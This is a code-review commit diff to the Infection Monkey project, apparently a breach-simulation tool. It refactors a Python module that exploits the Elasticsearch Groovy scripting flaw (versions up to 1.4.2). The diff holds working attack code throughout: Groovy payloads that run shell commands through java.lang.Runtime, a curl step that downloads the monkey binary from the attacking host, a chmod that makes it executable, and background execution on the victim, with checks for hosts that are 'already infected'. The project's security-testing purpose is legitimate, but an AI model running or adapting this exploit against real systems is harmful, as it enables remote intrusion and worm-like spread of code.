Fixed CR notes in

https://github.com/guardicore/monkey/pull/51#pullrequestreview-65212211

chaos_monkey/exploit/elasticgroovy.py

@@ -1,6 +1,7 @@
 """
     Implementation is based on elastic search groovy exploit by metasploit
     https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
+    Max vulnerable elasticsearch version is "1.4.2"
 """
 
 import json
@@ -17,25 +18,26 @@ from tools import get_target_monkey, HTTPTools, build_monkey_commandline
 __author__ = 'danielg'
 
 LOG = logging.getLogger(__name__)
-TIMEOUT = 2
-DOWNLOAD_TIMEOUT = 300  # copied from rdpgrinder
-VULNERABLE_VERSION = "1.4.2"
 
 
 class ElasticGroovyExploiter(HostExploiter):
     _target_os_type = ['linux', 'windows']
+
+    # attack URLs
     BASE_URL = 'http://%s:%s/_search?pretty'
-    GENERIC_QUERY = '''{"size":1, "script_fields":{"monkey_result": {"script": "%s"}}}'''
+    MONKEY_RESULT_FIELD = "monkey_result"
+    GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
     JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
     JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
     JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
     JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
     JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
 
+    DOWNLOAD_TIMEOUT = 300  # copied from rdpgrinder
+
     def __init__(self):
         self._config = __import__('config').WormConfiguration
         self.skip_exist = self._config.skip_exploit_if_file_exist
-        self.host = None
 
     def is_os_supported(self, host):
         """
@@ -44,8 +46,8 @@ class ElasticGroovyExploiter(HostExploiter):
         :param host: VictimHost
         :return:
         """
-        if host.os.get('type') in self._target_os_type:
+        if host.os.get('type') not in self._target_os_type:
-            return True
+            return False
 
         if ES_SERVICE not in host.services:
             LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
@@ -61,9 +63,8 @@ class ElasticGroovyExploiter(HostExploiter):
 
     def exploit_host(self, host, depth=-1, src_path=None):
         assert isinstance(host, VictimHost)
-        self.host = host
 
-        real_host_os = self.get_host_os()
+        real_host_os = self.get_host_os(host)
         host.os['type'] = str(real_host_os.lower())  # strip unicode characters
         if 'linux' in host.os['type']:
             return self.exploit_host_linux(host, depth, src_path)
@@ -74,9 +75,6 @@ class ElasticGroovyExploiter(HostExploiter):
         """
         TODO
         Will exploit windows similar to smbexec
-        :param host:
-        :param depth:
-        :param src_path:
         :return:
         """
         return False
@@ -85,16 +83,13 @@ class ElasticGroovyExploiter(HostExploiter):
         """
         Exploits linux using similar flow to sshexec and shellshock.
         Meaning run remote commands to copy files over HTTP
-        :param host:
-        :param depth:
-        :param src_path:
         :return:
         """
-        uname_machine = self.get_linux_arch()
+        uname_machine = str(self.get_linux_arch(host))
-        if '' != uname_machine:
+        if len(uname_machine) != 0:
             host.os['machine'] = str(uname_machine.lower().strip())  # strip unicode characters
         dropper_target_path_linux = self._config.dropper_target_path_linux
-        if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
+        if self.skip_exist and (self.check_if_remote_file_exists_linux(host, dropper_target_path_linux)):
             LOG.info("Host %s was already infected under the current configuration, done" % host)
             return True  # return already infected
         src_path = src_path or get_target_monkey(host)
@@ -102,69 +97,88 @@ class ElasticGroovyExploiter(HostExploiter):
             LOG.info("Can't find suitable monkey executable for host %r", host)
             return False
 
-        http_path, http_thread = HTTPTools.create_transfer(host, src_path)
+        if not self.download_file_in_linux(host, src_path, target_path=dropper_target_path_linux):
-
-        if not http_path:
-            LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
             return False
 
-        download_command = '/usr/bin/curl %s -o %s' % (
+        self.set_file_executable_linux(host, dropper_target_path_linux)
-            http_path, dropper_target_path_linux)
-        self.run_shell_command(download_command)
-        http_thread.join(DOWNLOAD_TIMEOUT)
-        http_thread.stop()
-        if (http_thread.downloads != 1) or (
-                    'ELF' not in
-                    self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
-            LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
-            return False
-        chmod = '/bin/chmod +x %s' % dropper_target_path_linux
-        self.run_shell_command(chmod)
         cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
         cmdline += build_monkey_commandline(host, depth - 1) + ' & '
-        self.run_shell_command(cmdline)
+        self.run_shell_command(host, cmdline)
         LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                  self._config.dropper_target_path_linux, host, cmdline)
-        if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
+        if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
             LOG.info("Log file does not exist, monkey might not have run")
         return True
 
-    def check_if_remote_file_exists_linux(self, file_path):
+    def download_file_in_linux(self, host, src_path, target_path):
+        """
+        Downloads a file in target machine using curl to the given target path
+        :param host:
+        :param src_path: File path relative to the monkey
+        :param target_path:  Target path in linux victim
+        :return: T/F
+        """
+        http_path, http_thread = HTTPTools.create_transfer(host, src_path)
+        if not http_path:
+            LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
+            return False
+        download_command = '/usr/bin/curl %s -o %s' % (
+            http_path, target_path)
+        self.run_shell_command(host, download_command)
+        http_thread.join(self.DOWNLOAD_TIMEOUT)
+        http_thread.stop()
+        if (http_thread.downloads != 1) or (
+                    'ELF' not in
+                    self.check_if_remote_file_exists_linux(host, target_path)):
+            LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
+            return False
+        return True
+
+    def set_file_executable_linux(self, host, file_path):
+        """
+        Marks the given file as executable using chmod
+        :return:  Nothing
+        """
+        chmod = '/bin/chmod +x %s' % file_path
+        self.run_shell_command(host, chmod)
+        LOG.info("Marked file %s on host %s as executable", file_path, host)
+
+    def check_if_remote_file_exists_linux(self, host, file_path):
         """
-        :param file_path:
         :return:
         """
         cmdline = '/usr/bin/head -c 4 %s' % file_path
-        return self.run_shell_command(cmdline)
+        return self.run_shell_command(host, cmdline)
 
-    def run_shell_command(self, command):
+    def run_shell_command(self, host, command):
         """
         Runs a single shell command and returns the result.
-        :param command:
         :return:
         """
         payload = self.JAVA_CMD % command
-        return self.get_command_result(payload)
+        result = self.get_command_result(host, payload)
+        LOG.info("Ran the command %s on host %s", command, payload)
+        return result
 
-    def get_linux_arch(self):
+    def get_linux_arch(self, host):
         """
         Returns host as per uname -m
         :return:
         """
-        return self.get_command_result(self.JAVA_GET_BIT_LINUX)
+        return self.get_command_result(host, self.JAVA_GET_BIT_LINUX)
 
-    def get_host_tempdir(self):
+    def get_host_tempdir(self, host):
         """
         Returns where to write our file given our permissions
         :return: Temp directory path in target host
         """
-        return self.get_command_result(self.JAVA_GET_TMP_DIR)
+        return self.get_command_result(host, self.JAVA_GET_TMP_DIR)
 
-    def get_host_os(self):
+    def get_host_os(self, host):
         """
         :return: target OS
         """
-        return self.get_command_result(self.JAVA_GET_OS)
+        return self.get_command_result(host, self.JAVA_GET_OS)
 
     def is_vulnerable(self, host):
         """
@@ -172,50 +186,47 @@ class ElasticGroovyExploiter(HostExploiter):
         :param host: Host, with an open 9200 port
         :return: True/False
         """
-        self.host = host
+        result_text = self.get_command_result(host, self.JAVA_IS_VULNERABLE)
-        result_text = self.get_command_result(self.JAVA_IS_VULNERABLE)
         return 'java.lang.Runtime' in result_text
 
-    def get_command_result(self, payload):
+    def get_command_result(self, host, payload):
         """
         Gets the result of an attack payload with a single return value.
+        :param host: VictimHost configuration
         :param payload: Payload that fits the GENERIC_QUERY template.
         :return:
         """
-        result = self.attack_query(payload)
+        result = self.attack_query(host, payload)
         if not result:  # not vulnerable
             return False
         if 1 != len(result):  # weird
             return None
         return result[0]
 
-    @property
+    def attack_query(self, host, payload):
-    def attack_url(self):
-        """
-        Composes the URL to attack per host IP and port.
-        :return:
-        """
-        return self.BASE_URL % (self.host.ip_addr, ES_PORT)
-
-    def attack_query(self, payload):
         """
         Wraps the requests query and the JSON parsing.
         Just reduce opportunity for bugs
-        :param payload:
         :return: List of data fields or None
         """
-        response = requests.get(self.attack_url, data=payload)
+        response = requests.get(self.attack_url(host), data=payload)
         result = self.get_results(response)
         return result
 
-    @staticmethod
+    def attack_url(self, host):
-    def get_results(response):
+        """
+        Composes the URL to attack per host IP and port.
+        :return: Elasticsearch vulnerable URL
+        """
+        return self.BASE_URL % (host.ip_addr, ES_PORT)
+
+    def get_results(self, response):
         """
         Extracts the result data from our attack
         :return: List of data fields or None
         """
         try:
             json_resp = json.loads(response.text)
-            return json_resp['hits']['hits'][0]['fields']['monkey_result']
+            return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
         except KeyError:
             return None